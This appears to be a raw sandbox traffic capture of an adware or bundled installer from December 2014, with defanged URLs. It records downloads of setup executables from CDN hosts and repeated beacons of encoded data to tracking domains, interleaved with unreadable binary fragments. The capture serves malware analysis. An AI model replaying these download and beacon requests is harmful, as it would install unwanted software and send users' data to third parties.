......@= .....`.Q85xNj.._.9................_...qM9.15.;.j.......s.OW.W
..../.....G..M......g\..j......i..lz.<L5f.=~<~.c. .x........].._
.X.q*5.f.r..(L... .....UE......IG*.y..../<....p.%~T.G........)]..c.
..?..B..J....?..M. D`9.D.N....2'.^.D......fLYH.. P.gI..=...I....EZ
<<< skipped >>>

GET /hk/R2BrCMjs44SBG-5Ct1qUME3DBk/VVV.appshat.com/thumbnails/icon/images/assets/b/8/78x78xb85261679e262228a562f693b3e6ef6f.png.pagespeed.ic.4bcRSEMVhrePWbmTPv28.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: 1-ps.googleusercontent.com

Connection: Keep-Alive




HTTP/1.1 200 OK

Server: nginx

Accept-Ranges: bytes

Content-Type: image/png

Date: Wed, 17 Dec 2014 15:54:17 GMT

Expires: Sat, 12 Dec 2015 01:58:10 GMT

ETag: W/"0"

Last-Modified: Fri, 12 Dec 2014 01:58:10 GMT

X-Original-Content-Length: 384145

X-Page-Speed: 123_1_rr

X-XSS-Protection: 1; mode=block

Age: 3210

Cache-Control: max-age=31536000

Alternate-Protocol: 80:quic,p=0.02

Transfer-Encoding: chunked
8000...PNG........IHDR..............x.... .IDATx...M.m.......~...{.- .
s ..?......I.....#..)...;.4....,.:v....E.... DC..JQ..R...T.....g..9..6
.Xk....w).T]....{......k.9.3...g.o.1.....n.)%.@ ....@[email protected].'.t.
8(...... ".".n.e./...1Q @..#(....gX......? .G..>..o'..E.O...I.O....
....=...$U...o.Ex.........v=....:}...g...................=>.}{....|
....(........:.....>....^.x..?.}G........m..5..<.....6..o.{.....
D................7v.?............?..m.........6.?O....6...u..{....7...
....L....q.~..s...}~f...~.....b.7.5|{...............[.?}.........rV...
..o.._Y.7...U...xS`.@ .y.V}....>x......~~.).......5Az.O.~m.q..~....
 .......KR.O~.H.}..~..............H.{.....?.E......./..|...~..2..h.@..
l.E.>x.v^.~...N.........(.}P...-p..'......C@.........'j.......!....
Kb......6...m.K .6....%..P..........x..#.......|L..!1}.>..!........
[email protected]>./.=p.C......6.?..{h`..........g...T?.R..:....}?.z......&l
t;._.{[email protected].....[...5..)..h_s.>.....D....Q.'...{.s..d.3.._
=,........=..%.w.....#....!....[......G.?xx..4.h T..M..gQ./L..D.7T.=..
.~k..?./.~M...Q .$.w.....O..O....p&B.~s.m.C.}..E...<|>...."..z..
.......'..................\l.dO......o..._c...36......s;.....p}D.." |H
.z. ..~.=.............:..%@zW........7.....P.C.>..................T
........_..!z......{.&...g..X...~..............@...[.T...{.}~..._2Xf?.
..m...W.._.o.sK.!|@)..&.5...L....!|.g....z&X.5...O...6.......z....e.D.
._...}.#"....T..O..tx..?UP...$...C.y.l..w......'}.....^Sz.7Y..y ....?.
.W.}...B...G..*........?g.'8H..P......=T........*....MQ...7....}..
<<< skipped >>>

GET /hk/R2BrCMjs44SBG-5Ct1qUME3DBk/VVV.appshat.com/images/3.5stars.jpg.pagespeed.ce.u3YEB6ujvUgGS-bedVMJ.jpg HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: 1-ps.googleusercontent.com

Connection: Keep-Alive




HTTP/1.1 200 OK

Server: nginx

Accept-Ranges: bytes

Content-Type: image/jpeg

Date: Wed, 17 Dec 2014 15:54:16 GMT

Expires: Tue, 15 Dec 2015 19:19:34 GMT

ETag: W/"0"

Last-Modified: Mon, 15 Dec 2014 19:19:34 GMT

X-Original-Content-Length: 2106

X-Page-Speed: 123_1_rr

X-XSS-Protection: 1; mode=block

Content-Length: 2106

Age: 3212

Cache-Control: max-age=31536000

Alternate-Protocol: 80:quic,p=0.02
......Exif..II*.................Ducky.......P..... hXXp://ns.adobe.com
/xap/1.0/.<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> 
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c01
1 66.145661, 2012/02/06-14:56:27        "> <rdf:RDF xmlns:rdf="h
ttp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rd
f:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="
hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.a
dobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:CC2A1EDFD0FE11E28895B8B8D
4058FA7" xmpMM:InstanceID="xmp.iid:CC2A1EDED0FE11E28895B8B8D4058FA7" x
mp:CreatorTool="Adobe Photoshop CS6 (Windows)"> <xmpMM:DerivedFr
om stRef:instanceID="xmp.iid:D2ECCA94C82C11E2B97E98D68EE09333" stRef:d
ocumentID="xmp.did:D2ECCA95C82C11E2B97E98D68EE09333"/> </rdf:Des
cription> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?
>....Adobe.d.......................................................
......................................................................
......................9...............................................
.......................................!.....1Aa"2BQ..b3c$4...........
...........!...1A...a2R..Qq."Bb%...#.$.............?...3...y{....oR*.w
...O,..,..10L...\... ..V}L.;_.~_6.t..0...&(=I...Ki6..z<5I3&..A...".
fzV.pZ.3...w..,.!..;.7Q-.....4.\.,.".......9.x......a'.....OaB....8<
;/&...........a.I.xa./...Y#.y...l...n.?{..`...)...c.s..j.0...LJW].s...
..Nu.Z...\C.&...y...<...=.....K.p.. ....K"..D........T..L.v:k.7
<<< skipped >>>

GET /hk/R2BrCMjs44SBG-5Ct1qUME3DBk/VVV.appshat.com/images/btn_bg.jpg.pagespeed.ce.aIEJinchAzMgR9IBpV67.jpg HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: 1-ps.googleusercontent.com

Connection: Keep-Alive




HTTP/1.1 200 OK

Server: nginx

Accept-Ranges: bytes

Content-Type: image/jpeg

Date: Wed, 17 Dec 2014 16:03:40 GMT

Expires: Tue, 15 Dec 2015 19:19:36 GMT

ETag: W/"0"

Last-Modified: Mon, 15 Dec 2014 19:19:36 GMT

X-Original-Content-Length: 1554

X-Page-Speed: 123_1_rr

X-XSS-Protection: 1; mode=block

Content-Length: 1554

Age: 2648

Cache-Control: max-age=31536000

Alternate-Protocol: 80:quic,p=0.02
......Exif..II*.................Ducky.......P..... hXXp://ns.adobe.com
/xap/1.0/.<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> 
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c01
1 66.145661, 2012/02/06-14:56:27        "> <rdf:RDF xmlns:rdf="h
ttp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rd
f:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http:
//ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/s
Type/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmp
MM:InstanceID="xmp.iid:034EE34CC83911E282B1D0F6CA9F1811" xmpMM:Documen
tID="xmp.did:034EE34DC83911E282B1D0F6CA9F1811"> <xmpMM:DerivedFr
om stRef:instanceID="xmp.iid:034EE34AC83911E282B1D0F6CA9F1811" stRef:d
ocumentID="xmp.did:034EE34BC83911E282B1D0F6CA9F1811"/> </rdf:Des
cription> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?
>....Adobe.d.......................................................
......................................................................
......................\.............l.................................
................................b...T..U...!1a."2..3E.'...............
...............?...x.V.!...E..R.R e.&Urr......I5..JYRM9e.(..G.w.n.5...
q.I....D}.y&.#[email protected]}.y&.#[email protected]...
q.I............U.*...44......E..........g.w..}zzH..,.....S.3)......p.e
8.2...N....fS.3).:... h.....N.2...;...Z.6C8.. J.. ..........j)*^aZ.eEb
.I..<:......F.E....B.H.H.YX..C..I.. ...y#I".eb.!.$i$_,.X.!..$..
<<< skipped >>>

GET /beacon?org=123_1_yq&ets=load:3196&rload=3591&nav=0&dns=1&connect=62&req_start=70&ttfb=74&dwld=71&dom_c=3590&nt=0&fp=546&ifr=0&nrp=6&htmlAt=1&s_ttfb=6&id=1418834864830511&url=http://VVV.appshat.com/home HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: 1-ps.googleusercontent.com

Connection: Keep-Alive




HTTP/1.1 204 No Content

Content-Type: text/plain; charset=UTF-8

Cache-Control: no-cache

Date: Wed, 17 Dec 2014 16:47:48 GMT

Server: PagespeedRewriteProxy 0.1

Content-Length: 0

X-XSS-Protection: 1; mode=block

Alternate-Protocol: 80:quic,p=0.02
HTTP/1.1 204 No Content..Content-Type: text/plain; charset=UTF-8..Cach
e-Control: no-cache..Date: Wed, 17 Dec 2014 16:47:48 GMT..Server: Page
speedRewriteProxy 0.1..Content-Length: 0..X-XSS-Protection: 1; mode=bl
ock..Alternate-Protocol: 80:quic,p=0.02..


GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

Range: bytes=142780-

User-Agent: Better Installer(Mozilla)

Host: d3ddmpeszwup8l.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache




HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 142778

Connection: keep-alive

Date: Sun, 14 Dec 2014 04:56:58 GMT

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894

Cache-Control: max-age=3600

Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT

x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC

ETag: "518879abe3170dabd172dfffcd165598"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 142780-285557/285558

Age: 1399

X-Cache: Hit from cloudfront

Via: 1.1 a9b59a59c9cd05c79f53659a2b4406bd.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 709Fn-7sgZ6_GJ4hd8m-RKOTDnXoqvZs_jwGxOdmiFUivf_bdwzNOg==
..<......O.. ..o...U ...h..y.O..X..C............2.[..,..."m...~b...
.......V:...!.......;n .f.P..i?.|...B..w..?5w{...z9.].8*..3..(x...z/E_
...oz...#.".2:...z-.&ng...&y.......H|.q$...Y.....G..M..E.*N...&..z...U
.`....t.?T5.m..<.<...BK..nY_#[....YI?.4...!h.Y..>.....c.M....
F..j..Ht7.gN...z..(..l..\u.~...].Ub...M!..<{.P.M.MM.ne?..<.:....
O.,=.h.....Z.b.........Y....R.s.e.I).i..fpk.j.O0........].2|.0.C``....
...m_z.=W..^...C:............Q...xbR.....t...eF.V.....aR..2o..w.>..
r!U......Xs%.Wm.&.LbX0{.P........@..\w.......>.../.bW........X....^
e8......Lq...[.3a...n*..........2..!c_ .......{...Z.lf...z..o...~*..l.
...G..2.w.8.#.*........DH..-df.][email protected]...'k.... ....m.
=....X..J........e.... .R.7.........!..\..C..G/./..y..*=.......,..V..f
.%....LF.|......T..g..fPs.............-6.".l.t 5..'B.....=.}K.9.%.j.1.
.J.\u&...mg!..Y(...U./?q=B{.z..Q...>....<..B.|keIL.c;........N..
..n....*K...F..~.5.2......K...'n..,&rt...N.G.59.]k....N..3....P...)...
...M w..........6.G.2T......L...B0.#.R....5..,.N..|#..%.lN...9.j...j.2
x....R....Mh..-...D.2...l....*....9c..m.9.e....].j....a.2.7...\....E.B
iu.Bf....a..Oh..r... ...(2n..7BD7.D/........D...T..*.q...u.J..4...v...
I..u.Wr......*.......b....`[email protected]@...zrR..Z..Um....Z.D>\..
........3C.b.._XI.[s..t.......].R..p.=.&E..Z4<....z...=..%.Y..>.
.CF.,]tp..C.iV..z.dh.pI?c\7..4!2..^.M....GDiK..*.=...!.?.......H......
.)]...(..@..(..{..E^yVP ......%M,..O...S2........d^....T..VE.....j.y..
.....}..GqN....E7rG{.E.....y...N/.WG..,...QV.GC.m.gY..........4...
<<< skipped >>>


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache




HTTP/1.1 200 OK

Content-Type: application/octet-stream

Content-Length: 1269603

Connection: keep-alive

Cache-Control: no-cache

Last-Modified: Wed, 17 Dec 2014 08:15:15 GMT

Accept-Ranges: bytes

ETag: "2f5f6796d119d01:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Wed, 17 Dec 2014 16:43:23 GMT

X-Cache: Miss from cloudfront

Via: 1.1 5b7156fd9f20da783013f14d96a15b8f.cloudfront.net (CloudFront)

X-Amz-Cf-Id: otQk52TXfjQ3yKuoaTgg62rTYG9Ilzg8RUNHSwCBTJn3r8ACi5clnA==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1p.:u..iu..i
u..i...iw..iu..i...i...id..i!2.i...i...it..iRichu..i........PE..L.....
oS.................\...........2.......p....@.........................
.................................................s....................
...................................................................p..
.............................text....[.......\.................. ..`.r
data.......p.......`..............@[email protected]..........
[email protected][email protected]
..............@..@....................................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u....r@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Tp@[email protected]
....E..9}[email protected].}.j.W.E......E.......@[email protected]..
[email protected]<[email protected] [email protected]...\r@._
^3.[.....L$...7B...Si.....VW.T.....tO.q.3.;5.7B.sB..i......D.......t.G
.....t...O..t .....u...3....3...F.....;5.7B.r._^[...U..QQ.U.SV..i.
<<< skipped >>>


GET /install.ashx?e=j32vo1XGv6uHIN QbXyGnj/v41o1unlfX/iFdqiZ5XW2ZMgjutBt7OQRE0cF7lrf/k6YQPAn cmeLw31Ygf6oV0vxtxEGal9Ni340mj7fe/j3 CvjB98G1GtCg9PrzUnZPIZBVxWPMSIVAh2HYa3eDYsLuvXNJnBJOIAnSEbDsx0eh4F9DwOE1qgTPL7jymlmOBGPzlFJYmLARt95W016n0AYcuk831211lzThcc0Tl2VBJ1SPYY3KMGLTconNu2dEJI5oTUBpWVRco3oPUOjmPLagMtARkbqlRkY0nvgbpDjaFK0VDecgDp9jqmCJIP0Ec9EnFgpr7dH4ZXDn09dBnzfFt7rO4TR6uovnzT3dxnWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYF0J g6HDUCa6ysA rfm9WU= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dfb5uyoqjsg4c.cloudfront.net

Connection: Keep-Alive




HTTP/1.1 200 OK

Content-Type: application/octet-stream

Content-Length: 1320

Connection: keep-alive

Cache-Control: private,no-cache, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 17 Dec 2014 16:43:29 GMT

X-Cache: Miss from cloudfront

Via: 1.1 b79bfbe59e188853b5f792f763f5881e.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 2zO4Y5Ybc8drFE40DGukAyIzlWL60kOXNFJ9Fhb8SRvlBFX0o2OeBg==
C.\.S...6....Cn.....~.....5. ..,....$1@.......,...~..]......~m...W0..(
O.G.....|[email protected]._...../5.Q...4\(.....D$4H......)..[.U.1.{.%...Eu..I0o?
\.OY..ZQ...I......S./...G4a.4....;1 J......L..%B.2.4H..v.M./q.....o..@
I.E.]....~f5YDR.01\C/(../.o..._.......s....;KJ @...WC.... \M..Uu5y...8
y%.f.D|p5...a.."...g...V.Y ug..4..|~._.\.}.Jb.=..\RZ-0..K.y....2....w.
."hO/.4..#...D6.]..........rv.z..u.6..y.c.(.s...4....X.yL./...s.\..].o
HV. L...1.......p..iq..l..u..........rv.z..u.j............PM....N.8F..
...K..[o..'.;..r..Y*.4....^.{...z...8...y...a.s.....\..,I.9!..MT{.6.w.
4....dT.wY...B.)...........D$4H......)..[.U.1.{.%...Eu..)...TK..z....9
....>..T..R..P...(..._.....k....D....-........?.......C.......S..M.
6/7..U...j.............H3..E......vB.88.a....=.v'@..W8. ...x....1..8..
n.<..~..`.......dH~........5. .9y..`.".x.m.-.8b<..^[email protected].!3F .
4t.v.u.Z...8.......1..n.*U.<p....#z.W...o./.u..Ig*{8......u.Wk.iV.5
..#....g.C.y....b..'... |....f.%.H...R..t5..iV.h....8bc.....9....qc<
;......h...G..5j.)..l......A7.o. .Q...A...W.........rv.z..u.b.TD .](C.
=.q/"u......./...s.\......H...r.c.........Bv...?..^.$.o...{.k.K.....q@
,(..;.?...a(H#C$..C..R......G....z...8...y...a.s.....\..,I.9!.....E.8.
n..-..n..(K..H...&...i.R$lH.J#0rb..(8a....X.Xe.a..=...tS....C. .d.....
..B..._...$.&>p.0...5.L..'5.....-14w......< C.t^.c...C....4.=...
....v....,...
<<< skipped >>>


GET /app/ping.ashx?e=M/g8cQcNP KHIN QbXyGnsE5LyKWc4Gx3Pumfblmu5B9EKWfiY9Pr/lWymhtcc3oSGExqW4qn7xbfNvkjTiX5DEsdSRpTTrrOw9/8 JsFypisjzcUor/7OfS1dRDuqWExa4opuscR66kJIhcmH67jPZQpTedPDILIi5EI4eexb/M2kLK0Eh6GOhAyMRSteYLfy2nd2OoBNWZcVk3bWa3iMJb UIfjrRxmoi0CE64JPNxpM04NYBVExDTJMPiDl9 PFIANZtw9hVvXRT59/7pfiNnJFpXhDir94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjnH72/SGLqiOX lStajyhrtiQ5YlpjAdCrxodeePw 5cajJZSypMM0YsLUtbwE6VCqQ6c6qhfBhigsBNjG75SdwwdrEePnF oTcHCxvGNobLg== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Host: rep.youtubeaccelerator.com

Connection: Keep-Alive




HTTP/1.1 200 OK

Cache-Control: private

Content-Type: image/gif

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 17 Dec 2014 16:44:06 GMT

Content-Length: 0
....


GET /app/ping.ashx?e=1ZEnpGuz/ISMcHmf61T/gCWqRVUESB2PXaegU5VU5CBdOfUh X e3KWVb3f653UbhOwHSMAWuSBZkiNlYo4sZfEh6MhNwuPK/q uWdH3fIU5l6kGsLGUjlAO3ZfaMMISzuq57Wrf18cCUt6fQbeFaXsmAKA93Hx924Yf3CyE1By8y8hS 08Cp4zquPWwCukZgQ7P4 BWPQu3sb/Jc9bi4CY6tkU PjWGlHVWy8T0I6XgvyObhcmYFYw26Z5atuimAnMEIuq Dk7/HCbVHUc/oyaJByz/QcKFGfqLqdbaO0OeHUcar4A/UqsyuDjWX8vLsJJPlhy2jdwTqcwBDTHruXFWs3G3PXIRneN3TlMvu4AtZwyUkHrLPg0/niVdnGaSoJgmsLZ3n9ZMJp7OdOVCAneelB/u2smkJIjS58yAC5G7/avfILvAVU7LxXws0eQJzMAArcqP5Z8= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Host: rep.youtubeaccelerator.com

Connection: Keep-Alive




HTTP/1.1 200 OK

Cache-Control: private

Content-Type: image/gif

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 17 Dec 2014 16:44:06 GMT

Content-Length: 0
HTTP/1.1 200 OK..Cache-Control: private..Content-Type: image/gif..Serv
er: Microsoft-IIS/7.5..X-AspNet-Version: 4.0.30319..X-Powered-By: ASP.
NET..Date: Wed, 17 Dec 2014 16:44:06 GMT..Content-Length: 0....
..


GET /app/ping.ashx?e=4mC0vXGWFtrPpyTTOfle7LBz5mjUTX/Tkz1i8WXcyHOz6uevfqaymmuKg2XFbqUQvoXpSr3iMCuKj C8ts/rB0hhMaluKp 8W3zb5I04l QxLHUkaU066zsPf/PibBcqYrI83FKK/ zn0tXUQ7qlhMWuKKbrHEeupCSIXJh u4z2UKU3nTwyCyIuRCOHnsW/zNpCytBIehjoQMjEUrXmC38tp3djqATVmXFZN21mt4jCW/lCH460cZqItAhOuCTzcaTNODWAVRMQ0yTD4g5ffjxSADWbcPYVb10U ff 6X4jZyRaV4Q4q/eJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY5x 9v0hi6ojl/pUrWo8oa7YkOWJaYwHQq8aHXnj8PuXGoyWUsqTDNGLC1LW8BOlQqkOnOqoXwYYoLATYxu UncMHaxHj5xfqEJ4eo TuM1dc= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Host: rep.youtubeaccelerator.com

Connection: Keep-Alive




HTTP/1.1 200 OK

Cache-Control: private

Content-Type: image/gif

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 17 Dec 2014 16:44:09 GMT

Content-Length: 0
HTTP/1.1 200 OK..Cache-Control: private..Content-Type: image/gif..Serv
er: Microsoft-IIS/7.5..X-AspNet-Version: 4.0.30319..X-Powered-By: ASP.
NET..Date: Wed, 17 Dec 2014 16:44:09 GMT..Content-Length: 0..


GET /sd?is=sm HTTP/1.1

Range: bytes=72926-

User-Agent: Better Installer(Mozilla)

Host: install-cdn.sourceapp.info

Connection: Keep-Alive

Cache-Control: no-cache




HTTP/1.1 206 Partial Content

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SourceAppSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP004C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Cache-Control: private, max-age=86400

Expires: Thu, 18 Dec 2014 16:43:27 GMT

Date: Wed, 17 Dec 2014 16:43:27 GMT

Content-Range: bytes 72926-583407/583408

Content-Length: 510482

Connection: keep-alive
......f..&.E.c..1v...Q..xt.NU..............:m.....cc$$..B..(..........
.......)....~Y..QE[Q .....P.. .j...{ .Z....4....9A.J......q..|K.X<.
p.'[!.............,!<....xu...9..zf........J.....B.. *..)8........I
....-.R,'R...e...c...X6.J...,..#2..f......2.F.....>R..e...4{v..... 
.._I.m.~(ij..HS...8.S ~#.z................?..E...?......#.9.zbv..{P...
D.....:.....5B.>`..Y..-....f...Q!. .>F.{(.t.h..'a!.T.1.....KZ.. 
q..x......E..=w.!-.'[email protected]/]....G...U..*0..E.))...,^.37_..Y.
...(W8k..fd...fm..29[..`..C....:M.....j..G../X.aP...G.s.G....{.,..D...
B.%.o..........GiQ..xG.(w....O.G4.[.N.)$..#B...Z......XW..)..^....&>
;.. ....dV....5.. .;8.....h\..k.'.....9=.... ..`;Q...vtz......N*nA{...
...{Q(../.~..R,^.. ..q...6IYT.........I....#...O*67.2r.....&...!......
..C;....#.......X.#..ES.....X#5...A.^.........7..4..x.F......}.h..m]*.
l\.|L..4..Z..h..Q.DP.J,...8..t. ....xz}.......!.a/7.4...*?.C....2D*Qi.
=[..V...W..1..~..(^..6....=.....d']..].8...$Z...R?.-.4...A.Z. .Z.....p
[~.~F....kS.v.W%./.$h8..HTTP/1.1 206 Partial Content..Pragma: no-cache
..Content-Type: application/octet-stream..Server: Microsoft-IIS/7.5..C
ontent-Disposition: attachment; filename=SourceAppSetup.exe..X-AspNet-
Version: 4.0.30319..SVR: SP004C2..X-Powered-By: ASP.NET..p3p: CP="CAO 
PSA OUR"..Cache-Control: private, max-age=86400..Expires: Thu, 18 Dec 
2014 16:43:27 GMT..Date: Wed, 17 Dec 2014 16:43:27 GMT..Content-Range:
 bytes 72926-583407/583408..Content-Length: 510482..Connection: keep-a
live........f..&.E.c..1v...Q..xt.NU..............:m.....cc$$..B..(
<<< skipped >>>


GET /app/ping.ashx?e=blUJ6JGwk9KHIN QbXyGnr7wWIswX53b2YTeaOaZJPFysSIQM/WMqjEsdSRpTTrrVTOts69f7XFdn8AJL65latQpt2e8ihma7uBw3cS1WEr lPuSoguSWxrRu4kWrXNyppyth6wyOCdIsM5CQpbEqki65yJGu/kM9wUerNkYXa cGaLtuFfn2qkIBIJiEncCR2hECPay5GurMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEbBRuaRLHbXnzuq57Wrf18cCUt6fQbeFaXsmAKA93Hx924Yf3CyE1BxGjdxEEWKj7k7xKwR3W9AY9/CpuCTIAF0= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive




HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 17 Dec 2014 16:43:39 GMT

Content-Length: 0
....


GET /app/ping.ashx?e=c0XmKevqA0l7JuQ3F68GrO2XM2UCfZ8r 0R MP RL3UJOLXkS9L/h2bktPzt6Fdq7vv4g8eyszzJiqDUFiGk4TgI5pw2HgQ8TPV3XDU/k0cnYBfPcNQB96JUqayHJ5ShmDwm9U8stHwyKW2q8nI5uATxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4  HSf3cXZ8qiEfUAdAEJ0Gc7l9cjUwmns505UICd56UH 7ayaQkiNLnzIALkbv9q98gu8BVq2ZFqISC6Z4fJKZ4NCKSCQ== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive




HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 17 Dec 2014 16:43:39 GMT

Content-Length: 0
....


GET /app/ping.ashx?e=blUJ6JGwk9KHIN QbXyGnr7wWIswX53b2YTeaOaZJPFysSIQM/WMqjEsdSRpTTrrVTOts69f7XFdn8AJL65latQpt2e8ihma7uBw3cS1WEpe0nRya1/ySF9YSP9ZGURrtfjqskcj0tJCYY2sAkrWlVOxIC gR9ITZ1qa tRBmxIEmumfnn3eLsmQ gNabH9smt1LIHE9GmAmMGUjfC0lQ4ZnY321CP6rQO0RY/50MunDWE/Jh0JbeL0PvHjsxZ9UMRHYbz 6m19Cn qX4FpTdffopz0y2Q7Y HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive




HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 17 Dec 2014 16:43:39 GMT

Content-Length: 0
....


GET /app/ping.ashx?e=LCnUzM5l8JL2b5ZtEYATmB3DZvRfP/q4QN2G3STfV1oSZTerw9Y85dVUaX7QH4bytNUutjdaeNp6qHIwZm58EifxLeSbH0YYLCV719WrTxq4ZvM W8i8tW188caoXin7Wjwfqp7MHxEi GVzQHau4wOxpFqMx/dg0GZUN OvxiAwLBsnpDJR9iyipIUVGaA 2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvnzbANYrsS2gWM2d4wtyZ5qfNTRxTGzTsEGk8IGlu5lbdgJBbOU3ZeuPWUmCpWTHBpWLfeo/B59z4BlKlGJcuDg HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive




HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 17 Dec 2014 16:43:40 GMT

Content-Length: 0
....


GET /app/ping.ashx?e=ZfTZC8DxP8aHIN QbXyGnoof1a cs8I52YTeaOaZJPFysSIQM/WMqjEsdSRpTTrrVTOts69f7XFdn8AJL65latQpt2e8ihma7uBw3cS1WEpV9oK7vZm95VRGW796HUe3a50u3XyigpUpkYBnI7MsgakbpJf5YFA4cnDbXMoNEWaM8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj23LymH6HWKlXrsDkKSYrX3ZF18tFkttUSHlf1ywEdCDAkt1TnX3RNRgTzGEYgH Rahm2VBdeK63awB5esNx9efU= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive




HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 17 Dec 2014 16:43:40 GMT

Content-Length: 0
....


